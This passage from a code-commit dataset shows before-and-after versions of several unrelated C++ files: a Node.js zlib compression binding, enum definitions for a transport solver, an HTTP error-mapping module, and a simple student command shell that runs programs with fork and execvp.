case Z_DATA_ERROR:\n case Z_MEM_ERROR:\n inflateEnd(&strmUncompress);\n if (tmp != NULL) {\n free(tmp);\n }\n\n return -2;\n }\n\n if (strmUncompress.data_type & 128) {\n break;\n }\n }\n *dataType = strmUncompress.data_type;\n } else {\n *dataType = 128;\n }\n\n inflateEnd(&strmUncompress);\n\n return 0;\n\n}\n\nstatic int compress (char *dataIn, size_t bytesIn, int compressionLevel, char **dataOut, size_t *bytesOut) {\n size_t bytesDeflated = 0;\n\n if (compressionLevel < 0 || compressionLevel > 9) {\n compressionLevel = Z_DEFAULT_COMPRESSION;\n }\n\n z_stream strmCompress;\n strmCompress.zalloc = Z_NULL;\n strmCompress.zfree = Z_NULL;\n strmCompress.opaque = Z_NULL;\n\n if (deflateInit2(&strmCompress, compressionLevel, Z_DEFLATED, WBITS, 8L, Z_DEFAULT_STRATEGY) != Z_OK) {\n return -1;\n }\n\n bytesDeflated = deflateBound(&strmCompress, bytesIn);\n\n if (bytesDeflated < 1024) {\n bytesDeflated = 1024;\n }\n\n *dataOut = (char *) malloc(bytesDeflated);\n\n strmCompress.next_in = (Bytef *) dataIn;\n strmCompress.avail_in = bytesIn;\n strmCompress.next_out = (Bytef *) *dataOut;\n strmCompress.avail_out = bytesDeflated;\n\n if (deflate(&strmCompress, Z_NO_FLUSH) < Z_OK) {\n deflateReset(&strmCompress);\n return -2;\n }\n\n deflate(&strmCompress, Z_FINISH);\n\n *bytesOut = strmCompress.total_out;\n\n deflateReset(&strmCompress);\n\n return 0;\n}\n\nstatic Handle<Value> onet_compress (const Arguments &args) {\n HandleScope scope;\n\n int compressionLevel = Z_DEFAULT_COMPRESSION;\n\n if (args.Length() < 1) {\n return Undefined();\n }\n\n if (!Buffer::HasInstance(args[0])) {\n ThrowNodeError(\"First argument must be a Buffer\");\n return Undefined();\n }\n\n Local<Object> bufferIn = args[0]->ToObject();\n\n if (args.Length() > 1) {\n compressionLevel = args[1]->IntegerValue();\n }\n\n char *dataIn = Buffer::Data(bufferIn);\n size_t bytesIn = Buffer::Length(bufferIn);\n char *dataOut = 0;\n size_t bytesOut = 0;\n int dataType = 0;\n int status = compress(dataIn, bytesIn, compressionLevel, &dataOut, &bytesOut);\n\n if (status != 0) {\n char msg[30];\n sprintf(msg, \"Unable to compress: %d\", status);\n ThrowNodeError(msg);\n return Undefined();\n }\n\n status = meta_uncompress(dataOut, bytesOut, &dataType);\n\n if (status != 0) {\n char msg[30];\n sprintf(msg, \"Unable to uncompress: %d\", status);\n ThrowNodeError(msg);\n return Undefined();\n }\n\n unsigned int dataLength = bytesOut - HEADER_SIZE - FOOTER_SIZE - 1;\n\n Local<Object> result = Object::New();\n\n Buffer *body = Buffer::New((char *) dataOut, bytesOut);\n result->Set(SYM_BODY, body->handle_);\n\n Local<Object> dataOffsets = Object::New();\n dataOffsets->Set(SYM_LEFT, Integer::New(HEADER_SIZE));\n dataOffsets->Set(SYM_RIGHT, Integer::New(HEADER_SIZE + dataLength));\n dataOffsets->Set(SYM_LAST, Integer::New(HEADER_SIZE + dataLength));\n\n Buffer *crc = Buffer::New((char *) dataOut + (bytesOut - FOOTER_SIZE), 4);\n\n Local<Object> meta = Object::New();\n meta->Set(SYM_TYPE, Integer::New(dataType));\n meta->Set(SYM_OFFSETS, dataOffsets);\n meta->Set(SYM_LENGTH, Integer::New(bytesIn));\n meta->Set(SYM_RAW_LENGTH, Integer::New(bytesOut - HEADER_SIZE - FOOTER_SIZE));\n meta->Set(SYM_CRC, crc->handle_);\n\n result->Set(SYM_META, meta);\n\n free(dataOut);\n\n return scope.Close(result);\n}\n\nstatic Handle<Value> compress (const Arguments& args) {\n HandleScope scope;\n\n int compressionLevel = Z_DEFAULT_COMPRESSION;\n\n if (args.Length() < 1) {\n return Undefined();\n }\n\n if (!Buffer::HasInstance(args[0])) {\n ThrowNodeError(\"First argument must be a Buffer\");\n return Undefined();\n }\n\n Local<Object> bufferIn = args[0]->ToObject();\n\n if (args.Length() > 1) {\n compressionLevel = args[1]->IntegerValue();\n }\n\n char *dataIn = Buffer::Data(bufferIn);\n size_t bytesIn = Buffer::Length(bufferIn);\n char *dataOut = 0;\n size_t bytesOut = 0;\n int status = compress(dataIn, bytesIn, compressionLevel, &dataOut, &bytesOut);\n\n if (status != 0) {\n ThrowNodeError(\"Unable to compress\");\n return Undefined();\n }\n\n Buffer *buff = Buffer::New(dataOut, bytesOut);\n\n return scope.Close(buff->handle_);\n}\n\nstatic Handle<Value> estimate (const Arguments &args) {\n HandleScope scope;\n\n Local<Array> arr = Local<Array>::Cast(args[0]);\n int i = 0;\n int l = arr->Length();\n int sum = HEADER_SIZE + FOOTER_SIZE + ((l - 1) * SPACER_SIZE);\n\n for(; i < l; i++) {\n Local<Object> obj = arr->Get(i)->ToObject();\n Local<Object> meta = obj->Get(SYM_META)->ToObject();\n\n sum += meta->Get(SYM_RAW_LENGTH)->Uint32Value();\n }\n\n return scope.Close(Integer::New(sum));\n}\n\nstatic unsigned long reverseBytes (unsigned char *buf) {\n unsigned long v;\n\n v = *buf;\n v += (unsigned long) *(buf + 1) << 8;\n v += (unsigned long) *(buf + 2) << 16;\n v += (unsigned long) *(buf + 3) << 24;\n\n return v;\n}\n\nstatic Handle<Value> getCrc (const Arguments &args) {\n HandleScope scope;\n\n unsigned long crc = crc32(0L, Z_NULL, 0);\n unsigned long tot = 0;\n\n Local<Array> arr = Local<Array>::Cast(args[0]);\n \n int l = arr->Length();\n int i = 0;\n\n for (; i < l; i++) {\n Local<Object> obj = arr->Get(i)->ToObject();\n Local<Object> meta = obj->Get(SYM_META)->ToObject();\n\n Local<Object> bufCrc = meta->Get(SYM_CRC)->ToObject();\n\n unsigned long tmpCrc = reverseBytes((unsigned char *) Buffer::Data(bufCrc));\n unsigned long tmpLen = meta->Get(SYM_LENGTH)->Uint32Value();\n\n crc = crc32_combine(crc, tmpCrc, tmpLen);\n tot += tmpLen;\n }\n\n Local<Object> data = Object::New();\n data->Set(SYM_CRC, Buffer::New((char *) &crc, 4)->handle_);\n data->Set(SYM_LENGTH, Buffer::New((char *) &tot, 4)->handle_);\n\n return scope.Close(data);\n}\n\nstatic Handle<Value> uncompress (const Arguments &args) {\n HandleScope scope;\n\n if (args.Length() < 1) {\n return Undefined();\n }\n\n if (!Buffer::HasInstance(args[0])) {\n ThrowNodeError(\"First argument must be a Buffer\");\n return Undefined();\n }\n\n z_stream strmUncompress;\n \n strmUncompress.zalloc=Z_NULL;\n strmUncompress.zfree=Z_NULL;\n strmUncompress.opaque=Z_NULL;\n strmUncompress.avail_in = 0;\n strmUncompress.next_in = Z_NULL;\n\n int rci = inflateInit2(&strmUncompress, WBITS);\n\n if (rci != Z_OK) {\n ThrowNodeError(\"zlib initialization error.\");\n return Undefined();\n }\n \n Local<Object> bufferIn=args[0]->ToObject();\n\n strmUncompress.next_in = (Bytef*) Buffer::Data(bufferIn);\n strmUncompress.avail_in = Buffer::Length(bufferIn);\n\n Bytef *bufferOut = NULL;\n uint32_t malloc_size=0;\n uint32_t currentPosition=0;\n \n int ret; \n \n do {\n Bytef *tmp = (Bytef*)malloc(CHUNK);\n strmUncompress.avail_out = CHUNK;\n strmUncompress.next_out = tmp;\n\n ret = inflate(&strmUncompress, Z_NO_FLUSH);\n assert(ret != Z_STREAM_ERROR); \n switch (ret) {\n case Z_NEED_DICT:\n ret = Z_DATA_ERROR; \/* and fall through *\/\n case Z_DATA_ERROR:\n case Z_MEM_ERROR:\n (void)inflateEnd(&strmUncompress);\n if (bufferOut!=NULL) { \n free(bufferOut);\n } \n if (tmp!=NULL) {\n free(tmp);\n }\n return Undefined();\n }\n \n uint32_t have = CHUNK - strmUncompress.avail_out;\n if (have>0) {\n bufferOut = (Bytef *) realloc(bufferOut, malloc_size+have);\n malloc_size=malloc_size+have;\n }\n \n memcpy(bufferOut+currentPosition, tmp, have);\n currentPosition+=have;\n free(tmp);\n } while (strmUncompress.avail_out == 0 && ret != Z_STREAM_END);\n \n inflateEnd(&strmUncompress);\n\n if (ret != Z_STREAM_END) { \n if (bufferOut!=NULL) { \n free(bufferOut);\n } \n return Undefined();\n }\n\n Buffer *BufferOut=Buffer::New((char *)bufferOut, malloc_size);\n free(bufferOut);\n\n return scope.Close(BufferOut->handle_);\n}\n\nextern \"C\" void init (Handle<Object> target) {\n SYM_BODY = NODE_PSYMBOL(\"body\");\n SYM_LEFT = NODE_PSYMBOL(\"left\");\n SYM_RIGHT = NODE_PSYMBOL(\"right\");\n SYM_LAST = NODE_PSYMBOL(\"last\");\n SYM_TYPE = NODE_PSYMBOL(\"type\");\n SYM_OFFSETS = NODE_PSYMBOL(\"offsets\");\n SYM_LENGTH = NODE_PSYMBOL(\"length\");\n SYM_RAW_LENGTH = NODE_PSYMBOL(\"rawLength\");\n SYM_CRC = NODE_PSYMBOL(\"crc\");\n SYM_META = NODE_PSYMBOL(\"meta\");\n SYM_BUFFERS = NODE_PSYMBOL(\"buffers\");\n SYM_HEADER = NODE_PSYMBOL(\"header\");\n SYM_ODD = NODE_PSYMBOL(\"odd\");\n\n char header[] = {0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff};\n Buffer *headerBuffer = Buffer::New(header, 10);\n\n char odd[] = {0x00, 0x00, 0xff, 0xff};\n Buffer *oddBuffer = Buffer::New(odd, 4);\n\n Handle<Object> buffers = Object::New();\n buffers->Set(SYM_HEADER, headerBuffer->handle_);\n buffers->Set(SYM_ODD, oddBuffer->handle_);\n\n target->Set(SYM_BUFFERS, buffers);\n\n NODE_SET_METHOD(target, \"compress\", compress);\n NODE_SET_METHOD(target, \"uncompress\", uncompress);\n NODE_SET_METHOD(target, \"metaCompress\", onet_compress);\n NODE_SET_METHOD(target, \"getCrc\", getCrc);\n NODE_SET_METHOD(target, \"estimate\", estimate);\n\n}\n\nNODE_MODULE(compress_buffer_bindings, init);\n\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <iostream>\n\n#define PI 3.1415926535897932\n#define TWOPI 2.0*PI\n#define HPI 0.5*PI\n#define RPI 1.0\/PI\n#define RTWOPI 1.0\/TWOPI\n#define FPI 4.0*PI\n#define RFPI 1.0\/(FPI)\n\nnamespace mocc {\n \/\/ Surface and direction indexing\n enum Surface {\n EAST = 0,\n NORTH = 1,\n WEST = 2,\n SOUTH = 3,\n TOP = 4,\n BOTTOM = 5,\n INVALID = 6,\n };\n\n\n\n enum class Direction {\n EAST = 0,\n NORTH = 1,\n WEST = 2,\n SOUTH = 3,\n TOP = 4,\n BOTTOM = 5,\n NE,\n NW,\n SW,\n SE,\n INVALID\n };\n\n extern const Surface AllSurfaces[6];\n\n enum class Normal {\n X_NORM = 0,\n Y_NORM,\n Z_NORM\n };\n\n extern const Normal AllNormals[3];\n\n\n \/\/ Boundary condition enumeration\n enum class Boundary {\n \/**\n * Zero incoming flux\n *\/\n VACUUM,\n \/**\n * Reflected incoming flux\n *\/\n REFLECT,\n \/**\n * Incoming flux communicated between domain nodes\n *\/\n PARALLEL,\n \/**\n * Self-explanatory\n *\/\n PERIODIC,\n INVALID\n };\n\n enum class TraceDir {\n FW,\n BW\n };\n\n std::ostream& operator<<(std::ostream& os, const Surface s );\n\n std::ostream& operator<<(std::ostream& os, const Boundary b );\n\n std::ostream& operator<<(std::ostream& os, const Normal n );\n\n Normal surface_to_normal( Surface s );\n\n}\n<commit_msg>Better comments<commit_after>#pragma once\n\n#include <iostream>\n\n#define PI 3.1415926535897932\n#define TWOPI 2.0*PI\n#define HPI 0.5*PI\n#define RPI 1.0\/PI\n#define RTWOPI 1.0\/TWOPI\n#define FPI 4.0*PI\n#define RFPI 1.0\/(FPI)\n\nnamespace mocc {\n \/\/ Surface and direction indexing\n enum Surface {\n EAST = 0,\n NORTH = 1,\n WEST = 2,\n SOUTH = 3,\n TOP = 4,\n BOTTOM = 5,\n INVALID = 6,\n };\n\n\n\n enum class Direction {\n EAST = 0,\n NORTH = 1,\n WEST = 2,\n SOUTH = 3,\n TOP = 4,\n BOTTOM = 5,\n NE,\n NW,\n SW,\n SE,\n INVALID\n };\n\n extern const Surface AllSurfaces[6];\n\n enum class Normal {\n X_NORM = 0,\n Y_NORM,\n Z_NORM\n };\n\n extern const Normal AllNormals[3];\n\n\n \/\/ Boundary condition enumeration\n enum class Boundary {\n \/**\n * Zero incoming flux\n *\/\n VACUUM,\n \/**\n * Reflected incoming flux\n *\/\n REFLECT,\n \/**\n * Incoming flux communicated between domain nodes\n *\/\n PARALLEL,\n \/**\n * Flux exiting one face enters the opposite face, same angle\n *\/\n PERIODIC,\n INVALID\n };\n\n enum class TraceDir {\n FW,\n BW\n };\n\n std::ostream& operator<<(std::ostream& os, const Surface s );\n\n std::ostream& operator<<(std::ostream& os, const Boundary b );\n\n std::ostream& operator<<(std::ostream& os, const Normal n );\n\n Normal surface_to_normal( Surface s );\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Convert GError to a HTTP response.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"request.hxx\"\n#include \"bp_instance.hxx\"\n#include \"http_client.hxx\"\n#include \"nfs\/Quark.hxx\"\n#include \"ajp\/ajp_client.hxx\"\n#include \"memcached\/memcached_client.hxx\"\n#include \"cgi\/cgi_quark.h\"\n#include \"fcgi\/Quark.hxx\"\n#include \"was\/was_quark.h\"\n#include \"widget\/Error.hxx\"\n#include \"http_response.hxx\"\n#include \"http_server\/http_server.hxx\"\n#include \"http_server\/Request.hxx\"\n#include \"http_quark.h\"\n#include \"http\/MessageHttpResponse.hxx\"\n#include \"HttpMessageResponse.hxx\"\n#include \"gerrno.h\"\n#include \"pool.hxx\"\n#include \"util\/Exception.hxx\"\n\n#include <daemon\/log.h>\n\n#include <nfsc\/libnfs-raw-nfs.h>\n\nstatic MessageHttpResponse\nDup(struct pool &pool, http_status_t status, const char *msg)\n{\n return {status, p_strdup(&pool, msg)};\n}\n\ngcc_pure\nstatic MessageHttpResponse\nToResponse(struct pool &pool, GError &error)\n{\n if (error.domain == http_response_quark())\n return Dup(pool, http_status_t(error.code), error.message);\n\n if (error.domain == widget_quark()) {\n switch (WidgetErrorCode(error.code)) {\n case WidgetErrorCode::UNSPECIFIED:\n break;\n\n case WidgetErrorCode::WRONG_TYPE:\n case WidgetErrorCode::UNSUPPORTED_ENCODING:\n return {HTTP_STATUS_BAD_GATEWAY, \"Malformed widget response\"};\n\n case WidgetErrorCode::NO_SUCH_VIEW:\n return {HTTP_STATUS_NOT_FOUND, \"No such view\"};\n\n case WidgetErrorCode::NOT_A_CONTAINER:\n return Dup(pool, HTTP_STATUS_NOT_FOUND, error.message);\n\n case WidgetErrorCode::FORBIDDEN:\n return {HTTP_STATUS_FORBIDDEN, \"Forbidden\"};\n }\n }\n\n if (error.domain == nfs_client_quark()) {\n switch (error.code) {\n case NFS3ERR_NOENT:\n case NFS3ERR_NOTDIR:\n return {HTTP_STATUS_NOT_FOUND,\n \"The requested file does not exist.\"};\n }\n }\n\n if (error.domain == http_client_quark() ||\n error.domain == ajp_client_quark())\n return {HTTP_STATUS_BAD_GATEWAY, \"Upstream server failed\"};\n else if (error.domain == cgi_quark() ||\n error.domain == fcgi_quark() ||\n error.domain == was_quark())\n return {HTTP_STATUS_BAD_GATEWAY, \"Script failed\"};\n else if (error.domain == errno_quark()) {\n switch (error.code) {\n case ENOENT:\n case ENOTDIR:\n return {HTTP_STATUS_NOT_FOUND,\n \"The requested file does not exist.\"};\n break;\n\n default:\n return {HTTP_STATUS_INTERNAL_SERVER_ERROR,\n \"Internal server error\"};\n }\n } else if (error.domain == memcached_client_quark())\n return {HTTP_STATUS_BAD_GATEWAY, \"Cache server failed\"};\n else\n return {HTTP_STATUS_INTERNAL_SERVER_ERROR, \"Internal server error\"};\n}\n\ngcc_pure\nstatic MessageHttpResponse\nToResponse(struct pool &pool, std::exception_ptr ep)\n{\n try {\n FindRetrowNested<HttpMessageResponse>(ep);\n } catch (const HttpMessageResponse &e) {\n return Dup(pool, e.GetStatus(), e.what());\n }\n\n try {\n FindRetrowNested<WidgetError>(ep);\n } catch (const WidgetError &e) {\n switch (e.GetCode()) {\n case WidgetErrorCode::UNSPECIFIED:\n break;\n\n case WidgetErrorCode::WRONG_TYPE:\n case WidgetErrorCode::UNSUPPORTED_ENCODING:\n return {HTTP_STATUS_BAD_GATEWAY, \"Malformed widget response\"};\n\n case WidgetErrorCode::NO_SUCH_VIEW:\n return {HTTP_STATUS_NOT_FOUND, \"No such view\"};\n\n case WidgetErrorCode::NOT_A_CONTAINER:\n return Dup(pool, HTTP_STATUS_NOT_FOUND, e.what());\n\n case WidgetErrorCode::FORBIDDEN:\n return {HTTP_STATUS_FORBIDDEN, \"Forbidden\"};\n }\n }\n\n return {HTTP_STATUS_INTERNAL_SERVER_ERROR, \"Internal server error\"};\n}\n\nvoid\nresponse_dispatch_error(Request &request, GError *error)\n{\n auto response = ToResponse(request.pool, *error);\n if (request.instance.config.verbose_response)\n response.message = p_strdup(&request.pool, error->message);\n\n response_dispatch_message(request, response.status, response.message);\n}\n\nvoid\nresponse_dispatch_log(Request &request, http_status_t status,\n const char *msg, const char *log_msg)\n{\n daemon_log(2, \"error on '%s': %s\\n\", request.request.uri, log_msg);\n\n if (request.instance.config.verbose_response)\n msg = p_strdup(&request.pool, log_msg);\n\n response_dispatch_message(request, status, msg);\n}\n\nvoid\nresponse_dispatch_log(Request &request, http_status_t status,\n const char *log_msg)\n{\n response_dispatch_log(request, status,\n http_status_to_string(status), log_msg);\n}\n\nvoid\nresponse_dispatch_log(Request &request, std::exception_ptr ep)\n{\n auto log_msg = GetFullMessage(ep);\n daemon_log(2, \"error on '%s': %s\\n\", request.request.uri, log_msg.c_str());\n\n auto response = ToResponse(request.pool, ep);\n if (request.instance.config.verbose_response)\n response.message = p_strdup(&request.pool, log_msg.c_str());\n\n response_dispatch_message(request, response.status, response.message);\n}\n<commit_msg>rerror: translate NfsClientError<commit_after>\/*\n * Convert GError to a HTTP response.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"request.hxx\"\n#include \"bp_instance.hxx\"\n#include \"http_client.hxx\"\n#include \"nfs\/Quark.hxx\"\n#include \"nfs\/Error.hxx\"\n#include \"ajp\/ajp_client.hxx\"\n#include \"memcached\/memcached_client.hxx\"\n#include \"cgi\/cgi_quark.h\"\n#include \"fcgi\/Quark.hxx\"\n#include \"was\/was_quark.h\"\n#include \"widget\/Error.hxx\"\n#include \"http_response.hxx\"\n#include \"http_server\/http_server.hxx\"\n#include \"http_server\/Request.hxx\"\n#include \"http_quark.h\"\n#include \"http\/MessageHttpResponse.hxx\"\n#include \"HttpMessageResponse.hxx\"\n#include \"gerrno.h\"\n#include \"pool.hxx\"\n#include \"util\/Exception.hxx\"\n\n#include <daemon\/log.h>\n\n#include <nfsc\/libnfs-raw-nfs.h>\n\nstatic MessageHttpResponse\nDup(struct pool &pool, http_status_t status, const char *msg)\n{\n return {status, p_strdup(&pool, msg)};\n}\n\ngcc_pure\nstatic MessageHttpResponse\nToResponse(struct pool &pool, GError &error)\n{\n if (error.domain == http_response_quark())\n return Dup(pool, http_status_t(error.code), error.message);\n\n if (error.domain == widget_quark()) {\n switch (WidgetErrorCode(error.code)) {\n case WidgetErrorCode::UNSPECIFIED:\n break;\n\n case WidgetErrorCode::WRONG_TYPE:\n case WidgetErrorCode::UNSUPPORTED_ENCODING:\n return {HTTP_STATUS_BAD_GATEWAY, \"Malformed widget response\"};\n\n case WidgetErrorCode::NO_SUCH_VIEW:\n return {HTTP_STATUS_NOT_FOUND, \"No such view\"};\n\n case WidgetErrorCode::NOT_A_CONTAINER:\n return Dup(pool, HTTP_STATUS_NOT_FOUND, error.message);\n\n case WidgetErrorCode::FORBIDDEN:\n return {HTTP_STATUS_FORBIDDEN, \"Forbidden\"};\n }\n }\n\n if (error.domain == nfs_client_quark()) {\n switch (error.code) {\n case NFS3ERR_NOENT:\n case NFS3ERR_NOTDIR:\n return {HTTP_STATUS_NOT_FOUND,\n \"The requested file does not exist.\"};\n }\n }\n\n if (error.domain == http_client_quark() ||\n error.domain == ajp_client_quark())\n return {HTTP_STATUS_BAD_GATEWAY, \"Upstream server failed\"};\n else if (error.domain == cgi_quark() ||\n error.domain == fcgi_quark() ||\n error.domain == was_quark())\n return {HTTP_STATUS_BAD_GATEWAY, \"Script failed\"};\n else if (error.domain == errno_quark()) {\n switch (error.code) {\n case ENOENT:\n case ENOTDIR:\n return {HTTP_STATUS_NOT_FOUND,\n \"The requested file does not exist.\"};\n break;\n\n default:\n return {HTTP_STATUS_INTERNAL_SERVER_ERROR,\n \"Internal server error\"};\n }\n } else if (error.domain == memcached_client_quark())\n return {HTTP_STATUS_BAD_GATEWAY, \"Cache server failed\"};\n else\n return {HTTP_STATUS_INTERNAL_SERVER_ERROR, \"Internal server error\"};\n}\n\ngcc_pure\nstatic MessageHttpResponse\nToResponse(struct pool &pool, std::exception_ptr ep)\n{\n try {\n FindRetrowNested<HttpMessageResponse>(ep);\n } catch (const HttpMessageResponse &e) {\n return Dup(pool, e.GetStatus(), e.what());\n }\n\n try {\n FindRetrowNested<WidgetError>(ep);\n } catch (const WidgetError &e) {\n switch (e.GetCode()) {\n case WidgetErrorCode::UNSPECIFIED:\n break;\n\n case WidgetErrorCode::WRONG_TYPE:\n case WidgetErrorCode::UNSUPPORTED_ENCODING:\n return {HTTP_STATUS_BAD_GATEWAY, \"Malformed widget response\"};\n\n case WidgetErrorCode::NO_SUCH_VIEW:\n return {HTTP_STATUS_NOT_FOUND, \"No such view\"};\n\n case WidgetErrorCode::NOT_A_CONTAINER:\n return Dup(pool, HTTP_STATUS_NOT_FOUND, e.what());\n\n case WidgetErrorCode::FORBIDDEN:\n return {HTTP_STATUS_FORBIDDEN, \"Forbidden\"};\n }\n }\n\n try {\n FindRetrowNested<NfsClientError>(ep);\n } catch (const NfsClientError &e) {\n switch (e.GetCode()) {\n case NFS3ERR_NOENT:\n case NFS3ERR_NOTDIR:\n return {HTTP_STATUS_NOT_FOUND,\n \"The requested file does not exist.\"};\n }\n }\n\n return {HTTP_STATUS_INTERNAL_SERVER_ERROR, \"Internal server error\"};\n}\n\nvoid\nresponse_dispatch_error(Request &request, GError *error)\n{\n auto response = ToResponse(request.pool, *error);\n if (request.instance.config.verbose_response)\n response.message = p_strdup(&request.pool, error->message);\n\n response_dispatch_message(request, response.status, response.message);\n}\n\nvoid\nresponse_dispatch_log(Request &request, http_status_t status,\n const char *msg, const char *log_msg)\n{\n daemon_log(2, \"error on '%s': %s\\n\", request.request.uri, log_msg);\n\n if (request.instance.config.verbose_response)\n msg = p_strdup(&request.pool, log_msg);\n\n response_dispatch_message(request, status, msg);\n}\n\nvoid\nresponse_dispatch_log(Request &request, http_status_t status,\n const char *log_msg)\n{\n response_dispatch_log(request, status,\n http_status_to_string(status), log_msg);\n}\n\nvoid\nresponse_dispatch_log(Request &request, std::exception_ptr ep)\n{\n auto log_msg = GetFullMessage(ep);\n daemon_log(2, \"error on '%s': %s\\n\", request.request.uri, log_msg.c_str());\n\n auto response = ToResponse(request.pool, ep);\n if (request.instance.config.verbose_response)\n response.message = p_strdup(&request.pool, log_msg.c_str());\n\n response_dispatch_message(request, response.status, response.message);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ RSHELL.CPP\n\/\/ Main source code for rshell\n\n#include \"unistd.h\"\n#include \"sys\/wait.h\"\n#include \"stdio.h\"\n#include \"errno.h\"\n\n#include <iostream>\n#include <string>\n#include <vector>\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/algorithm\/string\/regex.hpp>\n#include <boost\/regex.hpp>\n\n#include \"rshell.h\"\n\n#define RSHELL_DEBUG\n\nconst char* CONN_AMP = \"&&\";\nconst char* CONN_PIPE = \"||\";\nconst char* CONN_SEMIC = \";\";\n \n\n\/* Initialize environment *\/\nvoid init() {}\n\n\n\/* Main loop - controls command line, parsing, and execution logic *\/\nint run() {\n \n std::vector<std::string> tokens_conn;\n std::vector<std::string> tokens_word;\n std::string usr_input;\n\n while(true) {\n \n usr_input = prompt();\n\n tokens_conn = tokenize(usr_input, \"(\\\\|\\\\||\\\\&\\\\&|;)\");\n for(unsigned int i = 0; i < tokens_conn.size(); i++) {\n\n#ifdef RSHELL_DEBUG\n std::cout << \"<\" << tokens_conn.at(i) << \">\" << std::endl;\n#endif\n\n tokens_word = toksplit(tokens_conn.at(i), \" \");\n for(unsigned int j = 0; j < tokens_word.size(); j++) {\n \n std::string word = tokens_word.at(j);\n \/\/ kill empty words\n if(word == \"\") tokens_word.erase(tokens_word.begin() + j);\n\n \/\/ using boost for convenience - this can be implemented manually\n boost::trim_if(word, boost::is_any_of(\" \\t\"));\n }\n \n std::vector<char*> cmd_argv(tokens_word.size() + 1);\n for(unsigned int k = 0; k < tokens_word.size(); k++) { \n cmd_argv[k] = &tokens_word[k][0]; \n#ifdef RSHELL_DEBUG \n std::cout << \"\\t\" << \"<\" << tokens_word.at(k) << \">\" << std::endl;\n#endif\n } \n\n \/\/ exit only if first word is \"exit\", after formatting\n if(tokens_word.at(0) == \"exit\") return 0;\n \n execute(cmd_argv[0], cmd_argv.data());\n }\n }\n \n return 0;\n}\n\n\n\/* Prints the prompt symbol and takes in raw command line input *\/\nstd::string prompt() {\n\n std::cout << \"$ \" << std::flush;\n\n std::string input_raw;\n std::getline(std::cin, input_raw);\n\n return input_raw;\n}\n\n\n\/* Basically a wrapper for execvp, has error checking *\/\nint execute(const char* path, char* const argv[]) {\n\n#ifdef RSHELL_DEBUG\n std::cout << \"executing \" << path << std::endl;\n#endif\n int pid = fork();\n if(pid == -1) {\n perror(NULL);\n return -1;\n } else if(pid == 0) {\n execvp(path, argv);\n perror(path);\n return 1;\n } else {\n if(waitpid(pid, NULL, 0) == -1)\n perror(NULL);\n }\n\n return 0;\n}\n\n\n\/* Overload to tokenize by whitespace *\/\nstd::vector<std::string> tokenize(std::string s) {\n return tokenize(s, \"\\\\s\");\n}\n\n\n\/* Tokenize a string using boost regex *\/\nstd::vector<std::string> tokenize(std::string s, std::string r) {\n\n std::vector<std::string> token_vec;\n \n boost::algorithm::split_regex(token_vec, s, boost::regex(r));\n return token_vec;\n}\n\n\n\/* Tokenize a string using boost split *\/\nstd::vector<std::string> toksplit(std::string s, std::string toks) {\n\n std::vector<std::string> token_vec;\n boost::split(token_vec, s, boost::is_any_of(toks), boost::token_compress_on);\n return token_vec;\n}\n<commit_msg>fixed exit bug<commit_after>\/\/ RSHELL.CPP\n\/\/ Main source code for rshell\n\n#define RSHELL_DEBUG\n\n#include \"unistd.h\"\n#include \"sys\/wait.h\"\n#include \"stdio.h\"\n#include \"errno.h\"\n\n#include <iostream>\n#include <string>\n#include <vector>\n\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/algorithm\/string\/regex.hpp>\n#include <boost\/regex.hpp>\n\n#include \"rshell.h\"\n\nconst char* CONN_AMP = \"&&\";\nconst char* CONN_PIPE = \"||\";\nconst char* CONN_SEMIC = \";\";\n \n\n\/* Initialize environment *\/\nvoid init() {}\n\n\n\/* Main loop - controls command line, parsing, and execution logic *\/\nint run() {\n \n std::vector<std::string> tokens_conn;\n std::vector<std::string> tokens_word;\n std::string usr_input;\n\n while(true) {\n \n usr_input = prompt();\n\n tokens_conn = tokenize(usr_input, \"(\\\\|\\\\||\\\\&\\\\&|;)\");\n for(unsigned int i = 0; i < tokens_conn.size(); i++) {\n\n#ifdef RSHELL_DEBUG\n std::cout << \"<\" << tokens_conn.at(i) << \">\" << std::endl;\n#endif\n\n tokens_word = toksplit(tokens_conn.at(i), \" \");\n for(unsigned int j = 0; j < tokens_word.size(); j++) {\n \n std::string word = tokens_word.at(j);\n \/\/ kill empty words\n if(word == \"\") tokens_word.erase(tokens_word.begin() + j);\n\n \/\/ using boost for convenience - this can be implemented manually\n boost::trim_if(word, boost::is_any_of(\" \\t\"));\n }\n \n std::vector<char*> cmd_argv(tokens_word.size() + 1);\n for(unsigned int k = 0; k < tokens_word.size(); k++) { \n cmd_argv[k] = &tokens_word[k][0]; \n#ifdef RSHELL_DEBUG \n std::cout << \"\\t\" << \"<\" << tokens_word.at(k) << \">\" << std::endl;\n#endif\n } \n\n \/\/ exit only if first word is \"exit\", after formatting\n if(tokens_word.at(0) == \"exit\") return 0;\n \n int err_num = execute(cmd_argv[0], cmd_argv.data());\n \n \/\/ if execvp returned and had error, stop the process\n if(err_num == 1) return 1;\n }\n }\n \n return 0;\n}\n\n\n\/* Prints prompt text and takes in raw command line input *\/\nstd::string prompt() {\n \n char hostname[HOST_NAME_MAX];\n if(gethostname(hostname, HOST_NAME_MAX) == -1)\n perror(\"gethostname\");\n\n std::cout << getlogin() << \"@\" << hostname;\n std::cout << \"$ \" << std::flush;\n\n std::string input_raw;\n std::getline(std::cin, input_raw);\n\n return input_raw;\n}\n\n\n\/* fork and exec a program, complete error checking *\/\nint execute(const char* path, char* const argv[]) {\n\n#ifdef RSHELL_DEBUG\n std::cout << \"executing \" << path << std::endl;\n#endif\n \n int pid = fork();\n\n#ifdef RSHELL_DEBUG\n std::cout << \"created process with id \" << pid << std::endl;\n#endif\n\n if(pid == -1) {\n perror(\"fork\");\n return -1;\n } else if(pid == 0) {\n execvp(path, argv);\n perror(path);\n return 1;\n } else {\n if(waitpid(pid, NULL, 0) == -1)\n perror(\"waitpid\");\n }\n\n return 0;\n}\n\n\n\/* Overload to tokenize by whitespace *\/\nstd::vector<std::string> tokenize(std::string s) {\n return tokenize(s, \"\\\\s\");\n}\n\n\n\/* Tokenize a string using boost regex *\/\nstd::vector<std::string> tokenize(std::string s, std::string r) {\n\n 